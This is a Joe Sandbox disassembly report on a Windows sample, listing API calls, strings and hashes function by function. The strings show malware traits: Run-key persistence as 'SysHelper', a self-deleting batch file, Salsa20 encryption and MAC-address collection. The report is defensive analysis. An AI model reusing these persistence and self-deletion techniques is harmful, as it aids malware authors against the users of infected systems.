CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00482316
CreateCompatibleDC.GDI32(00000000), ref: 00482323
GetDeviceCaps.GDI32(00000000,00000008), ref: 00482338
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00482341
CreateCompatibleBitmap.GDI32(00000000,?,00000010), ref: 0048234E
SelectObject.GDI32(00000000,00000000), ref: 0048235C
GetObjectA.GDI32(00000000,00000018,?), ref: 0048236E
BitBlt.GDI32(?,00000000,00000000,?,00000010,?,00000000,00000000,00CC0020), ref: 004823CA
GetBitmapBits.GDI32(?,?,00000000), ref: 004823D6
SelectObject.GDI32(?,?), ref: 00482436
DeleteObject.GDI32(00000000), ref: 0048243D
DeleteDC.GDI32(?), ref: 0048244A
DeleteDC.GDI32(?), ref: 00482450

Strings

.\crypto\rand\rand_win.c, xrefs: 00482383
DISPLAY, xrefs: 00482311

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Object$CreateDelete$BitmapCapsCompatibleDeviceInformationSelectUserWindow$AddressBitsDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: .\crypto\rand\rand_win.c$DISPLAY
API String ID: 151064509-1805842116
Opcode ID: 1b801d1ffbd88b82039091f0604768a30c592b3e6827ab76a1e426d578563625
Instruction ID: 00d76d2b57e2ae43ffa0e146b327d2d4306243c0a97269805a4caa25bb15a565
Opcode Fuzzy Hash: 1b801d1ffbd88b82039091f0604768a30c592b3e6827ab76a1e426d578563625
Instruction Fuzzy Hash: 0441BB71944300EBD3105BB6DC86F6FBBF8FF85B14F00052EFA54962A1E77598008B6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040E670 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040E67F

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(007D0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040E68B
_wprintf.LIBCMT ref: 0040E69E
_free.LIBCMT ref: 0040E6A4

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6B9
_free.LIBCMT ref: 0040E6C5
_malloc.LIBCMT ref: 0040E6CD
GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6E0
_sprintf.LIBCMT ref: 0040E720
_wprintf.LIBCMT ref: 0040E732
_wprintf.LIBCMT ref: 0040E73C
_free.LIBCMT ref: 0040E745

Strings

%02X:%02X:%02X:%02X:%02X:%02X, xrefs: 0040E71A
Error allocating memory needed to call GetAdaptersinfo, xrefs: 0040E699
Address: %s, mac: %s, xrefs: 0040E72D

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$AdaptersHeapInfo$AllocateErrorFreeLast_sprintf
String ID: %02X:%02X:%02X:%02X:%02X:%02X$Address: %s, mac: %s$Error allocating memory needed to call GetAdaptersinfo
API String ID: 3901070236-1604013687
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: 1f0497fb971ee708fef02f82321736b2a43cb7681c3985dbc626545fd8dc3fd8
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 251127B2A045647AC27162F76C02FFF3ADC8F45705F84056BFA98E1182EA5D5A0093B9

Uniqueness

Uniqueness Score: -1.00%

Function 00410160 Relevance: 26.2, APIs: 17, Instructions: 660COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000), ref: 00410346
_memmove.LIBCMT ref: 00410427
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0041048E
_memmove.LIBCMT ref: 00410514

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: 5d71b88130c3850f1ce6f9c9fc3c3b56fc5be04f011d63241bb511ce3f1a2a20
Instruction ID: 4d52a43d2e6eeb98f1fe08e229a92f838bd03635929547cf71b8ba18611ce854
Opcode Fuzzy Hash: 5d71b88130c3850f1ce6f9c9fc3c3b56fc5be04f011d63241bb511ce3f1a2a20
Instruction Fuzzy Hash: EF429F70D00208DBDF14DFA4C985BDEB7F5BF04308F20456EE415A7291E7B9AA85CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040FB98 Relevance: 15.3, APIs: 10, Instructions: 266stringCOMMON

Download Yara Rule

APIs

PathAppendW.SHLWAPI(?,?), ref: 0040FBD5
_memmove.LIBCMT ref: 0040FC3C
PathFileExistsW.SHLWAPI(?,?,?,?), ref: 0040FC63
_malloc.LIBCMT ref: 0040FC72
lstrcpyW.KERNEL32(00000000,?), ref: 0040FC8C
lstrcatW.KERNEL32(00000000,?), ref: 0040FCA5
_free.LIBCMT ref: 0040FCD7

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Path$AppendExistsFile_free_malloc_memmovelstrcatlstrcpy
String ID:
API String ID: 3232302685-0
Opcode ID: 17126a02ccb6bbc5f32dfe245874f9dcbc49a53b6c6b99fc4e7ab7c0e104719e
Instruction ID: e959444c36dd18fc08dff6604914d564c76187b82df2896015b22d61e5b1ffa1
Opcode Fuzzy Hash: 17126a02ccb6bbc5f32dfe245874f9dcbc49a53b6c6b99fc4e7ab7c0e104719e
Instruction Fuzzy Hash: 09B19F70D00208DBDF20DFA4D945BDEB7B5BF15308F50407AE40AAB291E7799A89CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 004382A2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 004382B9
_wcscmp.LIBCMT ref: 004382CA
GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,00438568,?,00000000), ref: 004382E6
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,00438568,?,00000000), ref: 00438310

Strings

OCP, xrefs: 004382C4
ACP, xrefs: 004382B3

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: InfoLocale_wcscmp
String ID: ACP$OCP
API String ID: 1351282208-711371036
Opcode ID: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction ID: cf0fde08c92294f7ab6fed71b02f11d94bd2ad82eb759ef3fcb1a01a65759ec5
Opcode Fuzzy Hash: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction Fuzzy Hash: FA01C431200615ABDB205E59DC45FD77798AB18B54F10806BF908DA252EF79DA41C78C

Uniqueness

Uniqueness Score: -1.00%

Function 0040C070 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 280COMMON

Download Yara Rule

APIs

__wassert.LIBCMT ref: 0040C09A

Strings

e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl, xrefs: 0040C090
input != nullptr && output != nullptr, xrefs: 0040C095

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: __wassert
String ID: e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl$input != nullptr && output != nullptr
API String ID: 3993402318-1975116136
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: 1562121ec4d7abfac7b8d7a3269f54288592c24a15d8ca99342f0f863a8d7c6a
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 43C18C75E002599FCB54CFA9C885ADEBBF1FF48300F24856AE919E7301E334AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 00411178 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 00411190
CryptReleaseContext.ADVAPI32(?,00000000), ref: 004111A0

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: 9f13d3873e772d8ace176f4c7e6ba3f69b1ad179b42c3e02a3fcf93c6db6df11
Instruction ID: be51c898aa0ddf1eb2c7ddf255022cb250d4a78141f94ceb906d675081cd9b05
Opcode Fuzzy Hash: 9f13d3873e772d8ace176f4c7e6ba3f69b1ad179b42c3e02a3fcf93c6db6df11
Instruction Fuzzy Hash: F0E0EC74F40305A7EF50DBB6AC49FABB6A86B08745F444526FB04F3251D62CD841C528

Uniqueness

Uniqueness Score: -1.00%

Function 0040EA51 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 0040EA69
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040EA79

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: a8a50747f5b84a4213a2f30896a43f764b121f6b091d033cf5eb92e4ffb0f2c5
Instruction ID: d41dd3a2d1aa4a110fdd7d588524fe859ae41a35967fa473e5fd9fc866ad400b
Opcode Fuzzy Hash: a8a50747f5b84a4213a2f30896a43f764b121f6b091d033cf5eb92e4ffb0f2c5
Instruction Fuzzy Hash: B2E0EC78F002059BDF50DBB79C89F6B72A87B08744B440835F804F3285D63CD9118928

Uniqueness

Uniqueness Score: -1.00%

Function 0040EC68 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 0040EC80
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040EC90

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: ea67dc9e2b6fd99e4d4b2082a3cd53fb6e3c794773a19c18e99169158be55dec
Instruction ID: 275dd0b1ae59d7aa5d1c23d1b64c6eee76a350be21334d4cde6f8a02617c5264
Opcode Fuzzy Hash: ea67dc9e2b6fd99e4d4b2082a3cd53fb6e3c794773a19c18e99169158be55dec
Instruction Fuzzy Hash: 97E0BDB4F0420597EF60DEB69E49F6B76A8AB04645B440835E904F2281DA3DD8218A29

Uniqueness

Uniqueness Score: -1.00%

Function 004124E0 Relevance: 79.0, APIs: 36, Strings: 9, Instructions: 214synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
GetLastError.KERNEL32 ref: 00412509
CloseHandle.KERNEL32 ref: 0041251C
CloseHandle.KERNEL32 ref: 00412539
CreateMutexA.KERNEL32(00000000,00000000,{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}), ref: 00412550
GetLastError.KERNEL32 ref: 0041255B
CloseHandle.KERNEL32 ref: 0041256E

Strings

TEMP, xrefs: 004125DF
D, xrefs: 00412720
"if exist ", xrefs: 00412648
" goto try, xrefs: 00412666
delself.bat, xrefs: 0041261C
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 00412547
del ", xrefs: 00412674
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 004124F5
@echo off:trydel ", xrefs: 0041262A

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastMutex
String ID: "if exist "$" goto try$@echo off:trydel "$D$TEMP$del "$delself.bat${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
API String ID: 2372642624-488272950
Opcode ID: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction ID: b8d6f70f31989c1caf7dd59f8aefe182ce9601728b58fe5e15313657dd94e056
Opcode Fuzzy Hash: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction Fuzzy Hash: 03714E72940218AADF50ABE1DC89FEE7BACFB44305F0445A6F609D2090DF759A88CF64

Uniqueness

Uniqueness Score: -1.00%

Function 004635B0 Relevance: 21.5, APIs: 7, Strings: 5, Instructions: 475COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 004636AA
_strncmp.LIBCMT ref: 004636DA
_strncmp.LIBCMT ref: 00463835
_strncmp.LIBCMT ref: 00463946
_strncmp.LIBCMT ref: 004639EA
_strncmp.LIBCMT ref: 00463A06
_strncmp.LIBCMT ref: 00463A27

Strings

-----BEGIN , xrefs: 004636A4
.\crypto\pem\pem_lib.c, xrefs: 00463709, 0046374F, 00463791, 00463A69, 00463B02, 00463B62, 00463B85, 00463BDA
-----, xrefs: 004636D4, 00463A21
-----END , xrefs: 0046382F, 00463940, 004639E4
, xrefs: 00463A90

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: $-----$-----BEGIN $-----END $.\crypto\pem\pem_lib.c
API String ID: 909875538-2733969777
Opcode ID: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction ID: 696768b63e7695c6252fa4396c8fc8293dc5daf0279c077ed15b414a568efc74
Opcode Fuzzy Hash: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction Fuzzy Hash: 82F1E7B16483806BE721EE25DC42F5B77D89F5470AF04082FF948D6283F678DA09879B

Uniqueness

Uniqueness Score: -1.00%

Function 00425A97 Relevance: 19.6, APIs: 13, Instructions: 84COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425AAE

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__calloc_crt.LIBCMT ref: 00425AD2
_free.LIBCMT ref: 00425AE0
__calloc_crt.LIBCMT ref: 00425AEE
_free.LIBCMT ref: 00425AFE
_free.LIBCMT ref: 00425B04
__copytlocinfo_nolock.LIBCMT ref: 00425B13
__wsetlocale_nolock.LIBCMT ref: 00425B20
__setmbcp_nolock.LIBCMT ref: 00425B34
_free.LIBCMT ref: 00425B42
___removelocaleref.LIBCMT ref: 00425B49
___freetlocinfo.LIBCMT ref: 00425B50
_free.LIBCMT ref: 00425B56

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock__wsetlocale_nolock
String ID:
API String ID: 1503006713-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 8b5b6749b4f509f283f4592c8036b9fc340ac08d61b50d13b2524a40b9fdfb6a
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 7E21B331705A21ABE7217F66B802E1F7FE4DF41728BD0442FF44459192EA39A800CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 0041BAE0 Relevance: 18.3, APIs: 12, Instructions: 320windowCOMMON

Download Yara Rule

APIs

PostQuitMessage.USER32(00000000), ref: 0041BB49
DefWindowProcW.USER32(?,?,?,?), ref: 0041BBBA
_malloc.LIBCMT ref: 0041BBE4
GetComputerNameW.KERNEL32(00000000,?), ref: 0041BBF4
_free.LIBCMT ref: 0041BCD7

Part of subcall function 00411CD0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
Part of subcall function 00411CD0: _memset.LIBCMT ref: 00411D3B
Part of subcall function 00411CD0: RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
Part of subcall function 00411CD0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
Part of subcall function 00411CD0: lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
Part of subcall function 00411CD0: PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48

IsWindow.USER32(?), ref: 0041BF69
DestroyWindow.USER32(?), ref: 0041BF7B
DefWindowProcW.USER32(?,00008003,?,?), ref: 0041BFA8

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Window$Proc$CloseComputerDestroyExistsFileMessageNameOpenPathPostQueryQuitValue_free_malloc_memsetlstrlen
String ID:
API String ID: 3873257347-0
Opcode ID: 872b512db91234dd009610a63f2564f2aa606f2dd561917cc2f2326c6301647b
Instruction ID: 866eb7db68ae170cd8e17be643faf7720e0ae735171854e0fa5cbc2bc792534d
Opcode Fuzzy Hash: 872b512db91234dd009610a63f2564f2aa606f2dd561917cc2f2326c6301647b
Instruction Fuzzy Hash: 85C19171508340AFDB20DF25DD45B9BBBE0FF85318F14492EF888863A1D7799885CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 004270A5 Relevance: 18.3, APIs: 12, Instructions: 289COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0042708B
DecodePointer.KERNEL32(?,?,?,?,000000FF,?,?,00463083,?,00000000,00000000), ref: 004271FE
DecodePointer.KERNEL32(?,?), ref: 0042722A
DecodePointer.KERNEL32(?,?), ref: 0042724F
__aulldvrm.LIBCMT ref: 00427385
_write_multi_char.LIBCMT ref: 00427477
_write_string.LIBCMT ref: 004274A0
_write_multi_char.LIBCMT ref: 004274C2
__cftof.LIBCMT ref: 00427500
_write_string.LIBCMT ref: 00427531
_write_string.LIBCMT ref: 0042756B
_write_multi_char.LIBCMT ref: 00427592
_free.LIBCMT ref: 004275AB

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: DecodePointer_write_multi_char_write_string$__aulldvrm__cftof_free_strlen
String ID:
API String ID: 559064418-0
Opcode ID: 688c8fa77b64d3e6dd85923818a4fb75ab92d018343194e73b5bea7932078b8e
Instruction ID: 14f77054e820437d32f524f0a61f308f331f5c30c1a6e174fa9440fd564cd740
Opcode Fuzzy Hash: 688c8fa77b64d3e6dd85923818a4fb75ab92d018343194e73b5bea7932078b8e
Instruction Fuzzy Hash: B8B1A171E092399FDF209B54EC88BAAB7B5EF54314F5400DAD908A6251D7389E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00427B21 Relevance: 18.1, APIs: 12, Instructions: 84COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32 ref: 00427B29
_free.LIBCMT ref: 00427B42

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

_free.LIBCMT ref: 00427B55
_free.LIBCMT ref: 00427B73
_free.LIBCMT ref: 00427B85
_free.LIBCMT ref: 00427B96
_free.LIBCMT ref: 00427BA1
_free.LIBCMT ref: 00427BC5
EncodePointer.KERNEL32(007D51C0), ref: 00427BCC
_free.LIBCMT ref: 00427BE1
_free.LIBCMT ref: 00427BF7
_free.LIBCMT ref: 00427C1F

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _free$Pointer$DecodeEncodeErrorFreeHeapLast
String ID:
API String ID: 3064303923-0
Opcode ID: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction ID: d8036121d910c09816430481b6b6363fcbb95216f7cc64832fdbf6810ac9f003
Opcode Fuzzy Hash: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction Fuzzy Hash: C2217535A042748BCB215F56BC80D4A7BA4EB14328B94453FEA14573A1CBF87889DA98

Uniqueness

Uniqueness Score: -1.00%

Function 00411B90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110stringcomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00411BB0
CoCreateInstance.OLE32(004CE908,00000000,00000001,004CD568,00000000), ref: 00411BC8
CoUninitialize.OLE32 ref: 00411BD0
SHGetSpecialFolderLocation.SHELL32(00000000,00000007,?), ref: 00411C12
SHGetPathFromIDListW.SHELL32(?,?), ref: 00411C22
lstrcatW.KERNEL32(?,00500050), ref: 00411C3A
lstrcatW.KERNEL32(?), ref: 00411C44
GetSystemDirectoryW.KERNEL32(?,00000100), ref: 00411C68
lstrcatW.KERNEL32(?,\shell32.dll), ref: 00411C7A

Strings

\shell32.dll, xrefs: 00411C6E

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: lstrcat$CreateDirectoryFolderFromInitializeInstanceListLocationPathSpecialSystemUninitialize
String ID: \shell32.dll
API String ID: 679253221-3783449302
Opcode ID: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction ID: 1ac700bd2dba931ae0f93f3cd35093afe8c3aec66b03df765643047a9f16b657
Opcode Fuzzy Hash: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction Fuzzy Hash: 1D415E70A40209AFDB10CBA4DC88FEA7B7CEF44705F104499F609D7160D6B4AA45CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004549A0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
GetDesktopWindow.USER32 ref: 004549FB
GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
_wcsstr.LIBCMT ref: 00454A8A

Strings

_OPENSSL_isservice, xrefs: 004549D1
Service-0x, xrefs: 00454A80

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

